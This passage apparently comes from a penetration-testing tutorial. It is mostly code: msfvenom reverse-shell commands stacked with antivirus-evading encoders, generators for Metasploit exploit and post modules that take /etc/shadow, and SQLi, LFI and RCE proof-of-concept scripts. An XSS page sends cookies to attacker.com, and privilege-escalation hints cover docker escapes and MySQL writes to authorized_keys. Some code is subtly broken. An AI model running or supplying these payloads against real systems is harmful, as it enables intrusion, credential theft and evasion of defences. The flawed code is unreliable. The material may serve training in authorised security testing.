                'detection': 'Less common',
                'use_case': 'When shikata is detected'
            },
            'x86/alpha_mixed': {
                'type': 'Alphanumeric Mixed Case',
                'effectiveness': 'Low-Medium',
                'detection': 'Good for restricted charsets',
                'use_case': 'When only alphanumeric chars allowed'
            },
            'x86/alpha_upper': {
                'type': 'Alphanumeric Uppercase',
                'effectiveness': 'Low',
                'detection': 'Very restricted',
                'use_case': 'When only uppercase letters allowed'
            },
            'x86/call4_dword_xor': {
                'type': 'Call+4 DWORD XOR',
                'effectiveness': 'Medium',
                'detection': 'Older, sometimes bypasses',
                'use_case': 'Legacy systems'
            },
            'x86/countdown': {
                'type': 'Countdown XOR',
                'effectiveness': 'Low',
                'detection': 'Simple pattern',
                'use_case': 'When size is critical'
            },
            'x86/fnstenv_mov': {
                'type': 'Floating point env',
                'effectiveness': 'Medium',
                'detection': 'Unusual instructions',
                'use_case': 'Bypassing certain emulators'
            },
            'x86/context_cpuid': {
                'type': 'CPUID-based',
                'effectiveness': 'High',
                'detection': 'Anti-emulation',
                'use_case': 'VM detection bypass'
            }
        }
        
    def explain_multi_encoding(self):
        """Explain multi-encoder technique"""
        
        print("[+] Multi-Encoder Technique:")
        print("    1. Apply encoder A (e.g., shikata_ga_nai)")
        print("    2. Apply encoder B (e.g., alpha_mixed)")
        print("    3. Result is encoded multiple times")
        print("\n    Command: msfvenom -p linux/x86/shell_reverse_tcp \\")
        print("             -e x86/shikata_ga_nai -i 5 \\")
        print("             -e x86/alpha_mixed -i 3 \\")
        print("             -f raw")
        
    def generate_encoder_command(self, payload, encoders, iterations):
        """Generate multi-encoder command"""
        
        cmd = f'msfvenom -p {payload}'
        
        for encoder in encoders:
            cmd += f' -e {encoder} -i {iterations}'
            
        cmd += ' -f raw'
        return cmd
    
    def test_encoder_effectiveness(self, payload, encoder, av_list):
        """Simulate encoder testing against AV (conceptual)"""
        
        results = {}
        for av in av_list:
            # In reality, would test against actual AV
            # This is just a simulation
            import random
            detection_rate = random.randint(0, 100)
            results[av] = {
                'detection_rate': detection_rate,
                'bypass': detection_rate < 30
            }
            
        return results

# Example usage
encoders = MSFEncoders()

# List encoders
print("[+] Available Encoders:")
for name, info in encoders.encoders.items():
    print(f"\n  {name}:")
    for key, value in info.items():
        print(f"    {key}: {value}")

# Generate multi-encoder command
cmd = encoders.generate_encoder_command(
    'windows/shell_reverse_tcp',
    ['x86/shikata_ga_nai', 'x86/alpha_mixed'],
    5
)
print(f"\n[+] Multi-encoder command: {cmd}")

16.5 Post Modules

Post-exploitation modules run after successful exploitation to gather information, maintain access, or pivot.

16.5.1 Post-Exploitation Modules

#!/usr/bin/env python3
# msf_post_modules.py

class MSFPostModules:
    def __init__(self):
        self.post_categories = {
            'gather': 'Information gathering (enumeration, credential harvesting)',
            'manage': 'Session management (migrate, kill, etc.)',
            'multi': 'Multi-platform modules',
            'windows': 'Windows-specific post modules',
            'linux': 'Linux-specific post modules',
            'osx': 'OS X-specific post modules'
        }
        
        self.common_modules = {
            'windows/gather/hashdump': 'Dump Windows password hashes',
            'windows/gather/cachedump': 'Dump cached domain credentials',
            'windows/gather/enum_logged_on_users': 'Enumerate logged-on users',
            'windows/gather/enum_shares': 'Enumerate network shares',
            'windows/manage/migrate': 'Migrate Meterpreter to another process',
            'windows/manage/killav': 'Kill antivirus processes',
            'linux/gather/hashdump': 'Dump Linux password hashes',
            'linux/gather/enum_configs': 'Gather configuration files',
            'linux/gather/enum_network': 'Enumerate network configuration',
            'linux/gather/enum_system': 'Enumerate system information',
            'multi/gather/ssh_creds': 'Gather SSH credentials',
            'multi/gather/firefox_creds': 'Gather Firefox saved credentials',
            'multi/gather/run_console_rc': 'Run resource script'
        }
        
    def explain_post_workflow(self):
        """Show post-exploitation workflow"""
        
        print("[+] Post-Exploitation Workflow:")
        steps = [
            "1. Establish stable session",
            "2. Gather system information (sysinfo)",
            "3. Elevate privileges (getsystem)",
            "4. Dump credentials (hashdump)",
            "5. Enumerate network (arp, netstat)",
            "6. Pivot to other hosts",
            "7. Maintain access (persistence)",
            "8. Clear tracks"
        ]
        
        for step in steps:
            print(f"  {step}")
            
    def run_post_module(self, session_id, module, options=None):
        """Simulate running a post module"""
        
        print(f"[*] Running {module} on session {session_id}")
        
        if options:
            for opt, val in options.items():
                print(f"    {opt}: {val}")
                
        # Simulate execution
        print("[+] Module completed successfully")
        
    def create_custom_post_module(self):
        """Generate custom post module template"""
        
        template = '''
##
# Custom post-exploitation module
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Custom Post Module',
      'Description'   => 'Custom post-exploitation module example',
      'License'       => MSF_LICENSE,
      'Author'        => ['Your Name'],
      'Platform'      => ['win', 'linux'],
      'SessionTypes'  => ['meterpreter', 'shell']
    ))

    register_options([
      OptString.new('FILE', [true, 'File to download', '/etc/passwd'])
    ])
  end

  def run
    print_status("Running custom post module...")
    
    # Download file
    file_content = read_file(datastore['FILE'])
    
    if file_content
      print_good("File downloaded successfully")
      
      # Save to loot
      loot_path = store_loot(
        "target.file",
        "text/plain",
        session,
        file_content,
        "target_file.txt"
      )
      print_good("File saved to: #{loot_path}")
    else
      print_error("Failed to download file")
    end
  end
end
'''
        return template

# Example usage
post = MSFPostModules()
post.explain_post_workflow()

print("\n[+] Common Post Modules:")
for module, desc in post.common_modules.items():
    print(f"  {module}: {desc}")

# Generate custom module template
custom_module = post.create_custom_post_module()
print("\n[+] Custom Post Module Template:")
print(custom_module)

16.6 Writing Custom Modules

Creating custom modules extends Metasploit's functionality for specific targets.

16.6.1 Module Development Process

#!/usr/bin/env python3
# msf_custom_module.py

class CustomModuleGenerator:
    def __init__(self, module_name, module_type):
        self.name = module_name
        self.type = module_type
        self.module_code = ""
        
    def generate_exploit(self, target_info):
        """Generate custom exploit module"""
        
        template = f'''
##
# Custom exploit for {target_info.get('name', 'Unknown Target')}
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = {target_info.get('rank', 'NormalRanking')}
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {{}})
    super(update_info(info,
      'Name'           => '{target_info.get('name', self.name)}',
      'Description'    => %q{{
        {target_info.get('description', 'Description here')}
      }},
      'Author'         => {target_info.get('author', ['Your Name'])},
      'License'        => MSF_LICENSE,
      'References'     => {target_info.get('references', [])},
      'Platform'       => '{target_info.get('platform', 'win')}',
      'Targets'        => [
        {', '.join([f"['{t}', {{'Ret': {ret}}}]" for t, ret in target_info.get('targets', {}).items()])}
      ],
      'Payload'        => {{
        'BadChars' => {target_info.get('badchars', '')}
      }},
      'DisclosureDate' => '{target_info.get('date', '2024-01-01')}'
    ))
    
    register_options([
      Opt::RPORT({target_info.get('port', 80)}),
      OptString.new('TARGETURI', [true, 'Path to vulnerable endpoint', '{target_info.get('path', '/')}'])
    ])
  end
  
  def check
    # Check if target is vulnerable
    res = send_request_cgi({{
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    }})
    
    if res && res.code == 200 && res.body =~ /{target_info.get('banner', 'vulnerable')}/
      return Exploit::CheckCode::Vulnerable
    end
    
    Exploit::CheckCode::Safe
  end
  
  def exploit
    print_status("Target: {{rhost}}:{{rport}}")
    
    # Build exploit buffer
    buffer = rand_text_alpha({target_info.get('offset', 1024)})
    buffer << [target.ret].pack('V')
    buffer << make_nops({target_info.get('nop_sled', 16)})
    buffer << payload.encoded
    
    # Send exploit
    res = send_request_cgi({{
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'data' => buffer
    }})
    
    if res
      print_status("Server responded with code: {{res.code}}")
    else
      print_error("No response from target")
    end
    
    handler
  end
end
'''
        self.module_code = template
        return template
    
    def generate_auxiliary(self, target_info):
        """Generate custom auxiliary module"""
        
        template = f'''
##
# Custom auxiliary module for {target_info.get('name', 'Unknown Target')}
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  
  def initialize(info = {{}})
    super(update_info(info,
      'Name'           => '{target_info.get('name', self.name)}',
      'Description'    => %q{{
        {target_info.get('description', 'Description here')}
      }},
      'Author'         => {target_info.get('author', ['Your Name'])},
      'License'        => MSF_LICENSE,
      'References'     => {target_info.get('references', [])}
    ))
    
    register_options([
      Opt::RPORT({target_info.get('port', 80)}),
      OptString.new('TARGETURI', [true, 'Path to scan', '{target_info.get('path', '/')}'])
    ])
  end
  
  def run_host(ip)
    print_status("Scanning {{ip}}")
    
    res = send_request_cgi({{
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    }})
    
    if res
      print_good("{{ip}}:{{rport}} - Response received")
      
      # Extract information
      info = {{
        'ip' => ip,
        'port' => rport,
        'headers' => res.headers.to_s,
        'body_length' => res.body.length
      }}
      
      # Report the service
      report_service(
        host: ip,
        port: rport,
        name: 'http',
        info: res.headers['Server']
      )
      
      # Store data
      report_note(
        host: ip,
        port: rport,
        type: 'http.info',
        data: info
      )
    end
  end
end
'''
        self.module_code = template
        return template
    
    def generate_post(self, target_info):
        """Generate custom post-exploitation module"""
        
        template = f'''
##
# Custom post module for {target_info.get('name', 'Unknown Target')}
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::Registry
  include Msf::Post::Common
  
  def initialize(info = {{}})
    super(update_info(info,
      'Name'          => '{target_info.get('name', self.name)}',
      'Description'   => %q{{
        {target_info.get('description', 'Description here')}
      }},
      'License'       => MSF_LICENSE,
      'Author'        => {target_info.get('author', ['Your Name'])},
      'Platform'      => {target_info.get('platforms', ['win', 'linux'])},
      'SessionTypes'  => {target_info.get('session_types', ['meterpreter', 'shell'])}
    ))
    
    register_options([
      OptString.new('FILE', [true, 'File to download', '{target_info.get('file', '/etc/passwd')}'])
    ])
  end
  
  def run
    print_status("Running custom post module on session {{session.sid}}")
    
    # Get system info
    if session.type == 'meterpreter'
      sysinfo = session.sys.config.sysinfo
      print_status("Target OS: {{sysinfo['OS']}}")
    else
      print_status("Shell session, limited functionality")
    end
    
    # Download file
    file_path = datastore['FILE']
    print_status("Attempting to download: {{file_path}}")
    
    if file?(file_path)
      data = read_file(file_path)
      if data
        loot_path = store_loot(
          "target.file",
          "application/octet-stream",
          session,
          data,
          File.basename(file_path)
        )
        print_good("File saved to: {{loot_path}}")
      else
        print_error("Failed to read file")
      end
    else
      print_error("File does not exist")
    end
  end
  
  def file?(path)
    if session.type == 'meterpreter'
      return session.fs.file.stat(path) rescue false
    else
      # For shell sessions, try to test file existence
      test_cmd = session.platform == 'windows' ? "if exist #{path} echo exists" : "test -f #{path} && echo exists"
      result = cmd_exec(test_cmd)
      return result.include?('exists')
    end
  end
  
  def read_file(path)
    if session.type == 'meterpreter'
      begin
        fd = session.fs.file.new(path, 'rb')
        data = fd.read
        fd.close
        return data
      rescue
        return nil
      end
    else
      # For shell sessions, use cat or type
      read_cmd = session.platform == 'windows' ? "type #{path}" : "cat #{path}"
      return cmd_exec(read_cmd)
    end
  end
end
'''
        self.module_code = template
        return template
    
    def validate_module(self):
        """Basic module validation"""
        
        checks = {
            'has_class': 'class MetasploitModule' in self.module_code,
            'has_initialize': 'def initialize' in self.module_code,
            'has_run' or 'has_exploit': ('def run' in self.module_code or 'def exploit' in self.module_code),
            'includes_msf': 'include Msf::' in self.module_code
        }
        
        passed = all(checks.values())
        failed = [check for check, passed in checks.items() if not passed]
        
        return {
            'valid': passed,
            'checks': checks,
            'failed': failed
        }
    
    def save_module(self, filename):
        """Save module to file"""
        with open(filename, 'w') as f:
            f.write(self.module_code)
        print(f"[+] Module saved to {filename}")
        
        # Validate
        validation = self.validate_module()
        if validation['valid']:
            print("[+] Module validation passed")
        else:
            print(f"[-] Module validation failed: {validation['failed']}")

# Example usage
generator = CustomModuleGenerator('custom_exploit', 'exploit')

# Generate exploit module
target_info = {
    'name': 'Custom Application Exploit',
    'description': 'This module exploits a buffer overflow in CustomApp',
    'author': ['Security Researcher'],
    'references': [['CVE', '2024-1234']],
    'platform': 'windows',
    'targets': {'Windows 10': '0x41414141', 'Windows 7': '0x42424242'},
    'badchars': '\\x00\\x0a\\x0d',
    'port': 8080,
    'path': '/vuln',
    'banner': 'CustomApp',
    'offset': 256,
    'nop_sled': 32,
    'rank': 'GoodRanking',
    'date': '2024-01-15'
}

generator.generate_exploit(target_info)
generator.save_module('custom_exploit.rb')

# Generate auxiliary module
aux_info = {
    'name': 'Custom Service Scanner',
    'description': 'Scans for CustomApp instances',
    'author': ['Security Researcher'],
    'port': 8080,
    'path': '/'
}

generator.generate_auxiliary(aux_info)
generator.save_module('custom_scanner.rb')

# Generate post module
post_info = {
    'name': 'Custom Data Exfiltrator',
    'description': 'Exfiltrates sensitive data from target',
    'author': ['Security Researcher'],
    'platforms': ['win', 'linux'],
    'session_types': ['meterpreter', 'shell'],
    'file': '/etc/shadow'
}

generator.generate_post(post_info)
generator.save_module('custom_post.rb')

Chapter 17 — Manual Exploitation Techniques

While automated tools are powerful, manual exploitation techniques are essential for complex or unique scenarios.

17.1 Exploit Research

Finding and understanding vulnerabilities is the first step in manual exploitation.

17.1.1 Vulnerability Research Methodology

#!/usr/bin/env python3
# exploit_research.py

class ExploitResearch:
    def __init__(self, target_info):
        self.target = target_info
        self.sources = {
            'cve': 'https://cve.mitre.org/',
            'nvd': 'https://nvd.nist.gov/',
            'exploitdb': 'https://www.exploit-db.com/',
            'packetstorm': 'https://packetstormsecurity.com/',
            'seclists': 'https://seclists.org/',
            'github': 'https://github.com/search?q=',
            'twitter': 'https://twitter.com/search?q=',
            'reddit': 'https://www.reddit.com/r/netsec/search?q='
        }
        
    def search_cve(self, software, version):
        """Search for CVEs related to software/version"""
        
        import requests
        from bs4 import BeautifulSoup
        
        print(f"[*] Searching for CVEs in {software} {version}")
        
        # Search NVD
        url = f"https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query={software}+{version}&search_type=all"
        
        try:
            response = requests.get(url)
            if response.status_code == 200:
                soup = BeautifulSoup(response.text, 'html.parser')
                
                # Extract CVE entries
                cves = []
                for link in soup.find_all('a'):
                    href = link.get('href', '')
                    if '/vuln/detail/CVE-' in href:
                        cve_id = href.split('/')[-1]
                        if cve_id not in cves:
                            cves.append(cve_id)
                
                return cves[:10]  # Return first 10
        except:
            pass
            
        return []
    
    def search_exploitdb(self, cve_id):
        """Search Exploit-DB for specific CVE"""
        
        url = f"https://www.exploit-db.com/search?cve={cve_id}"
        
        print(f"[*] Searching Exploit-DB for {cve_id}")
        
        # In practice, would parse results
        # For now, return search URL
        return url
    
    def analyze_exploit(self, exploit_code):
        """Analyze exploit code for understanding"""
        
        analysis = {
            'language': None,
            'type': None,
            'requirements': [],
            'limitations': []
        }
        
        # Simple language detection
        if 'import' in exploit_code and ('def ' in exploit_code or 'class ' in exploit_code):
            analysis['language'] = 'Python'
        elif 'include <' in exploit_code:
            analysis['language'] = 'C/C++'
        elif '<?php' in exploit_code:
            analysis['language'] = 'PHP'
        elif '#!/usr/bin/perl' in exploit_code:
            analysis['language'] = 'Perl'
        elif '#!/usr/bin/ruby' in exploit_code:
            analysis['language'] = 'Ruby'
        elif 'msfvenom' in exploit_code:
            analysis['language'] = 'Metasploit'
            
        # Detect exploit type
        if 'buffer overflow' in exploit_code.lower():
            analysis['type'] = 'Buffer Overflow'
        elif 'sql' in exploit_code.lower() and 'injection' in exploit_code.lower():
            analysis['type'] = 'SQL Injection'
        elif 'xss' in exploit_code.lower():
            analysis['type'] = 'XSS'
        elif 'csrf' in exploit_code.lower():
            analysis['type'] = 'CSRF'
        elif 'file upload' in exploit_code.lower():
            analysis['type'] = 'File Upload'
            
        # Extract requirements
        import re
        
        # Look for IP/port specifications
        ip_pattern = r'(\d{1,3}\.){3}\d{1,3}'
        if re.search(ip_pattern, exploit_code):
            analysis['requirements'].append('Specific IP address in code - may need modification')
            
        # Look for port numbers
        port_pattern = r'port\s*=\s*(\d+)'
        ports = re.findall(port_pattern, exploit_code.lower())
        if ports:
            analysis['requirements'].append(f'Uses port(s): {", ".join(ports)}')
            
        # Look for dependencies
        if 'requests' in exploit_code:
            analysis['requirements'].append('Python requests library')
        if 'socket' in exploit_code:
            analysis['requirements'].append('Python socket library')
            
        return analysis
    
    def adapt_exploit(self, original_exploit, target_info):
        """Adapt exploit to specific target"""
        
        adapted = original_exploit
        
        # Replace IP addresses
        import re
        ip_pattern = r'(\d{1,3}\.){3}\d{1,3}'
        
        if 'target_ip' in target_info:
            adapted = re.sub(ip_pattern, target_info['target_ip'], adapted)
            
        # Replace ports
        port_pattern = r'port\s*=\s*(\d+)'
        if 'target_port' in target_info:
            def replace_port(match):
                return f'port = {target_info["target_port"]}'
            adapted = re.sub(port_pattern, replace_port, adapted, flags=re.IGNORECASE)
            
        # Replace paths
        if 'target_path' in target_info:
            adapted = adapted.replace('/vuln', target_info['target_path'])
            adapted = adapted.replace('/index.php', target_info['target_path'])
            
        return adapted
    
    def create_exploit_workspace(self, cve_id):
        """Create organized workspace for exploit development"""
        
        import os
        from datetime import datetime
        
        workspace = f"exploit_{cve_id}_{datetime.now().strftime('%Y%m%d')}"
        os.makedirs(workspace, exist_ok=True)
        
        # Create subdirectories
        os.makedirs(f"{workspace}/exploits", exist_ok=True)
        os.makedirs(f"{workspace}/notes", exist_ok=True)
        os.makedirs(f"{workspace}/payloads", exist_ok=True)
        os.makedirs(f"{workspace}/results", exist_ok=True)
        
        # Create README
        with open(f"{workspace}/README.md", 'w') as f:
            f.write(f"# Exploit Research: {cve_id}\n\n")
            f.write(f"Created: {datetime.now()}\n\n")
            f.write("## Target Information\n\n")
            f.write("- Software: \n")
            f.write("- Version: \n")
            f.write("- Affected Component: \n\n")
            f.write("## Vulnerability Details\n\n")
            f.write("- Type: \n")
            f.write("- CVSS Score: \n")
            f.write("- Description: \n\n")
            f.write("## Exploitation Notes\n\n")
            f.write("- Requirements: \n")
            f.write("- Steps: \n")
            f.write("- Payload: \n\n")
            f.write("## Results\n\n")
            f.write("- Success: \n")
            f.write("- Notes: \n")
            
        return workspace

# Example usage
research = ExploitResearch({
    'software': 'Apache',
    'version': '2.4.49',
    'target_ip': '192.168.1.100',
    'target_port': 80,
    'target_path': '/cgi-bin'
})

# Search for CVEs
cves = research.search_cve('Apache', '2.4.49')
print(f"[+] Found CVEs: {cves}")

if cves:
    # Search Exploit-DB
    url = research.search_exploitdb(cves[0])
    print(f"[+] Search URL: {url}")
    
    # Create workspace
    workspace = research.create_exploit_workspace(cves[0])
    print(f"[+] Workspace created: {workspace}")

17.2 CVE Reproduction

Reproducing known vulnerabilities is a critical skill for penetration testers.

17.2.1 CVE Analysis and Testing

#!/usr/bin/env python3
# cve_reproduction.py

import subprocess
import os
import json
import time

class CVEReproducer:
    def __init__(self, cve_id):
        self.cve_id = cve_id
        self.info = {}
        self.test_environment = None
        
    def get_cve_info(self):
        """Fetch CVE information from NVD"""
        
        import requests
        
        url = f"https://services.nvd.nist.gov/rest/json/cve/1.0/{self.cve_id}"
        
        try:
            response = requests.get(url)
            if response.status_code == 200:
                data = response.json()
                
                # Extract relevant information
                cve_item = data['result']['CVE_Items'][0]
                
                self.info = {
                    'id': self.cve_id,
                    'description': cve_item['cve']['description']['description_data'][0]['value'],
                    'published': cve_item['publishedDate'],
                    'last_modified': cve_item['lastModifiedDate'],
                    'cvss_score': None,
                    'cvss_vector': None,
                    'references': []
                }
                
                # Extract CVSS score
                if 'impact' in cve_item:
                    if 'baseMetricV3' in cve_item['impact']:
                        self.info['cvss_score'] = cve_item['impact']['baseMetricV3']['cvssV3']['baseScore']
                        self.info['cvss_vector'] = cve_item['impact']['baseMetricV3']['cvssV3']['vectorString']
                    elif 'baseMetricV2' in cve_item['impact']:
                        self.info['cvss_score'] = cve_item['impact']['baseMetricV2']['cvssV2']['baseScore']
                        
                # Extract references
                for ref in cve_item['cve']['references']['reference_data']:
                    self.info['references'].append(ref['url'])
                    
        except Exception as e:
            print(f"[-] Error fetching CVE info: {e}")
            
        return self.info
    
    def setup_test_environment(self, target_info):
        """Setup isolated test environment"""
        
        import tempfile
        import shutil
        
        self.test_environment = tempfile.mkdtemp()
        
        print(f"[*] Setting up test environment in {self.test_environment}")
        
        # Copy target application
        if 'binary_path' in target_info:
            shutil.copy(target_info['binary_path'], self.test_environment)
            
        # Create configuration
        if 'config' in target_info:
            with open(f"{self.test_environment}/config.json", 'w') as f:
                json.dump(target_info['config'], f)
                
        # Create test script
        test_script = f"""#!/bin/bash
# Test script for {self.cve_id}
cd {self.test_environment}
echo "Running test..."
"""
        
        with open(f"{self.test_environment}/test.sh", 'w') as f:
            f.write(test_script)
        os.chmod(f"{self.test_environment}/test.sh", 0o755)
        
        return self.test_environment
    
    def download_exploit(self, source='exploitdb'):
        """Download exploit from various sources"""
        
        if source == 'exploitdb':
            # Search Exploit-DB for CVE
            import requests
            from bs4 import BeautifulSoup
            
            search_url = f"https://www.exploit-db.com/search?cve={self.cve_id}"
            
            try:
                response = requests.get(search_url)
                if response.status_code == 200:
                    soup = BeautifulSoup(response.text, 'html.parser')
                    
                    # Find exploit links
                    exploits = []
                    for link in soup.find_all('a', href=True):
                        if '/exploits/' in link['href']:
                            exploit_id = link['href'].split('/')[-1]
                            exploits.append({
                                'id': exploit_id,
                                'url': f"https://www.exploit-db.com/download/{exploit_id}"
                            })
                    
                    return exploits
            except:
                pass
                
        return []
    
    def test_exploit(self, exploit_path, target_params):
        """Test exploit against test environment"""
        
        print(f"[*] Testing exploit: {exploit_path}")
        
        # Determine exploit type
        if exploit_path.endswith('.py'):
            cmd = ['python3', exploit_path]
        elif exploit_path.endswith('.rb'):
            cmd = ['ruby', exploit_path]
        elif exploit_path.endswith('.pl'):
            cmd = ['perl', exploit_path]
        elif exploit_path.endswith('.sh'):
            cmd = ['bash', exploit_path]
        elif exploit_path.endswith('.php'):
            cmd = ['php', exploit_path]
        else:
            cmd = [exploit_path]
            
        # Add target parameters
        for key, value in target_params.items():
            cmd.append(f"--{key}")
            cmd.append(str(value))
            
        # Run exploit
        try:
            start_time = time.time()
            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=30,
                cwd=self.test_environment
            )
            elapsed = time.time() - start_time
            
            return {
                'success': result.returncode == 0,
                'stdout': result.stdout,
                'stderr': result.stderr,
                'returncode': result.returncode,
                'elapsed': elapsed
            }
            
        except subprocess.TimeoutExpired:
            return {
                'success': False,
                'error': 'Timeout',
                'elapsed': 30
            }
        except Exception as e:
            return {
                'success': False,
                'error': str(e)
            }
    
    def create_poc(self, vulnerability_type, target):
        """Create proof of concept for vulnerability"""
        
        poc_templates = {
            'sqli': self.create_sqli_poc,
            'xss': self.create_xss_poc,
            'rce': self.create_rce_poc,
            'lfi': self.create_lfi_poc
        }
        
        if vulnerability_type in poc_templates:
            return poc_templates[vulnerability_type](target)
        else:
            return "# PoC not available for this type"
    
    def create_sqli_poc(self, target):
        """Create SQL injection PoC"""
        
        poc = f'''#!/usr/bin/env python3
# SQL Injection PoC for {self.cve_id}

import requests
import sys

def test_sqli(url, param):
    """Test SQL injection vulnerability"""
    
    # Test payloads
    payloads = [
        "' OR '1'='1",
        "' OR 1=1--",
        "admin'--",
        "' UNION SELECT 1,2,3--"
    ]
    
    print(f"Testing {{url}} with parameter {{param}}")
    
    for payload in payloads:
        params = {{param: payload}}
        try:
            response = requests.get(url, params=params, timeout=5)
            
            if "error" not in response.text.lower():
                print(f"[+] Possible injection with: {{payload}}")
                print(f"    Response length: {{len(response.text)}}")
            else:
                print(f"[-] No injection with: {{payload}}")
        except Exception as e:
            print(f"Error: {{e}}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {{sys.argv[0]}} <url> [param]")
        sys.exit(1)
        
    url = sys.argv[1]
    param = sys.argv[2] if len(sys.argv) > 2 else "id"
    
    test_sqli(url, param)
'''
        return poc
    
    def create_xss_poc(self, target):
        """Create XSS PoC"""
        
        poc = f'''<!DOCTYPE html>
<html>
<head>
    <title>XSS PoC - {self.cve_id}</title>
</head>
<body>
    <h1>XSS Proof of Concept</h1>
    <p>This page demonstrates the XSS vulnerability</p>
    
    <div id="vulnerable"></div>
    
    <script>
        // XSS payload
        var payload = '<img src=x onerror=alert("XSS")>';
        
        // Inject into vulnerable element
        document.getElementById('vulnerable').innerHTML = payload;
        
        // Alternative: steal cookies
        function stealCookies() {{
            var img = new Image();
            img.src = 'http://attacker.com/steal?cookie=' + document.cookie;
        }}
    </script>
    
    <p>If you see an alert box, the vulnerability exists.</p>
</body>
</html>
'''
        return poc
    
    def create_rce_poc(self, target):
        """Create RCE PoC"""
        
        poc = f'''#!/usr/bin/env python3
# RCE PoC for {self.cve_id}

import requests
import sys
import urllib.parse

def exploit(target_url, command):
    """Execute command on target"""
    
    # Adjust based on vulnerability
    payload = {{'cmd': command}}
    
    try:
        response = requests.get(target_url, params=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Command executed successfully")
            print("Output:")
            print(response.text)
        else:
            print(f"[-] Failed with status code: {{response.status_code}}")
            
    except Exception as e:
        print(f"Error: {{e}}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {{sys.argv[0]}} <url> <command>")
        sys.exit(1)
        
    url = sys.argv[1]
    cmd = sys.argv[2]
    
    exploit(url, cmd)
'''
        return poc
    
    def create_lfi_poc(self, target):
        """Create LFI PoC"""
        
        poc = f'''#!/usr/bin/env python3
# LFI PoC for {self.cve_id}

import requests
import sys

def test_lfi(base_url, param):
    """Test LFI vulnerability"""
    
    files = [
        '/etc/passwd',
        '/etc/hosts',
        '/etc/issue',
        '/var/log/apache2/access.log',
        '../../../../etc/passwd',
        '....//....//....//etc/passwd',
        'php://filter/convert.base64-encode/resource=index.php'
    ]
    
    print(f"Testing LFI on {{base_url}}")
    
    for file_path in files:
        params = {{param: file_path}}
        try:
            response = requests.get(base_url, params=params, timeout=5)
            
            if response.status_code == 200:
                if "root:" in response.text or "<?php" in response.text:
                    print(f"[+] LFI found with: {{file_path}}")
                    print(f"    First 200 chars:")
                    print(f"    {{response.text[:200]}}")
                else:
                    print(f"[-] No LFI with: {{file_path}}")
        except Exception as e:
            print(f"Error with {{file_path}}: {{e}}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {{sys.argv[0]}} <url> [param]")
        sys.exit(1)
        
    url = sys.argv[1]
    param = sys.argv[2] if len(sys.argv) > 2 else "file"
    
    test_lfi(url, param)
'''
        return poc

# Example usage
reproducer = CVEReproducer('CVE-2021-41773')

# Get CVE info
info = reproducer.get_cve_info()
print(json.dumps(info, indent=2))

# Create PoC
poc = reproducer.create_poc('rce', {'target': 'localhost'})
print("\n[+] Generated PoC:")
print(poc)

17.3 Privilege Escalation

    def check_groups(self):
        """Check group memberships for privilege escalation vectors"""
        
        print("\n[*] Checking group memberships...")
        
        dangerous_groups = {
            'docker': 'Can mount host filesystem: docker run -v /:/host -it alpine chroot /host',
            'lxd': 'Can access host filesystem: lxd init && lxc launch ubuntu:18.04 -c security.privileged=true',
            'disk': 'Can access raw disk devices: debugfs /dev/sda1',
            'video': 'Can access frame buffer (keylogging)',
            'audio': 'Can record audio',
            'adm': 'Can read log files: /var/log/auth.log',
            'wheel': 'Can sudo',
            'sudo': 'Can sudo',
            'root': 'Already root!'
        }
        
        try:
            # Get current user's groups
            user = os.getenv('USER')
            result = subprocess.run(['groups'], capture_output=True, text=True)
            
            if result.returncode == 0:
                user_groups = result.stdout.strip().split()
                for group in user_groups:
                    if group in dangerous_groups:
                        print(f"[!] User is in dangerous group: {group}")
                        print(f"    Exploit: {dangerous_groups[group]}")
                        
            # Check /etc/group for interesting entries
            with open('/etc/group', 'r') as f:
                for line in f:
                    parts = line.strip().split(':')
                    if len(parts) >= 4 and parts[3]:
                        group_name = parts[0]
                        members = parts[3].split(',')
                        if group_name in dangerous_groups and user in members:
                            print(f"[!] User is in {group_name} group via /etc/group")
                            
        except Exception as e:
            print(f"Error checking groups: {e}")
    
    def check_kernel_version(self):
        """Check kernel version for known exploits"""
        
        print("\n[*] Checking kernel version...")
        
        try:
            result = subprocess.run(['uname', '-a'], capture_output=True, text=True)
            kernel = result.stdout.strip()
            print(f"[+] Kernel: {kernel}")
            
            # Known vulnerable kernels
            vulnerable_versions = {
                '2.6.': ['2.6.39 and below', 'CVE-2016-5195 (DirtyCow)'],
                '3.0.': ['3.0.0 - 3.19.8', 'Overlayfs'],
                '3.10.0': ['RHEL/CentOS 7', 'CVE-2017-1000112'],
                '4.4.': ['Ubuntu 16.04', 'CVE-2017-16995'],
                '4.8.': ['4.8.0-4.8.5', 'CVE-2016-8655'],
                '4.10.': ['4.10.0-4.10.17', 'CVE-2017-1000112'],
                '4.13.': ['4.13.0-4.13.16', 'CVE-2017-16995'],
                '5.3.': ['5.3.0-5.3.18', 'CVE-2019-18634']
            }
            
            for version, info in vulnerable_versions.items():
                if version in kernel:
                    print(f"[!] Potentially vulnerable kernel: {version}")
                    print(f"    {info[0]}: {info[1]}")
                    
        except Exception as e:
            print(f"Error checking kernel: {e}")
    
    def check_mysql_root(self):
        """Check if MySQL is running as root"""
        
        print("\n[*] Checking MySQL processes...")
        
        try:
            result = subprocess.run(['ps', 'aux', '|', 'grep', 'mysql'], 
                                  capture_output=True, text=True, shell=True)
            
            if 'mysql' in result.stdout.lower():
                for line in result.stdout.split('\n'):
                    if 'mysql' in line.lower() and 'root' in line:
                        print(f"[!] MySQL running as root: {line}")
                        print("    Exploit: SELECT ... INTO OUTFILE '/root/.ssh/authorized_keys'")
                        
        except Exception as e:
            pass
    
    def check_nfs_shares(self):
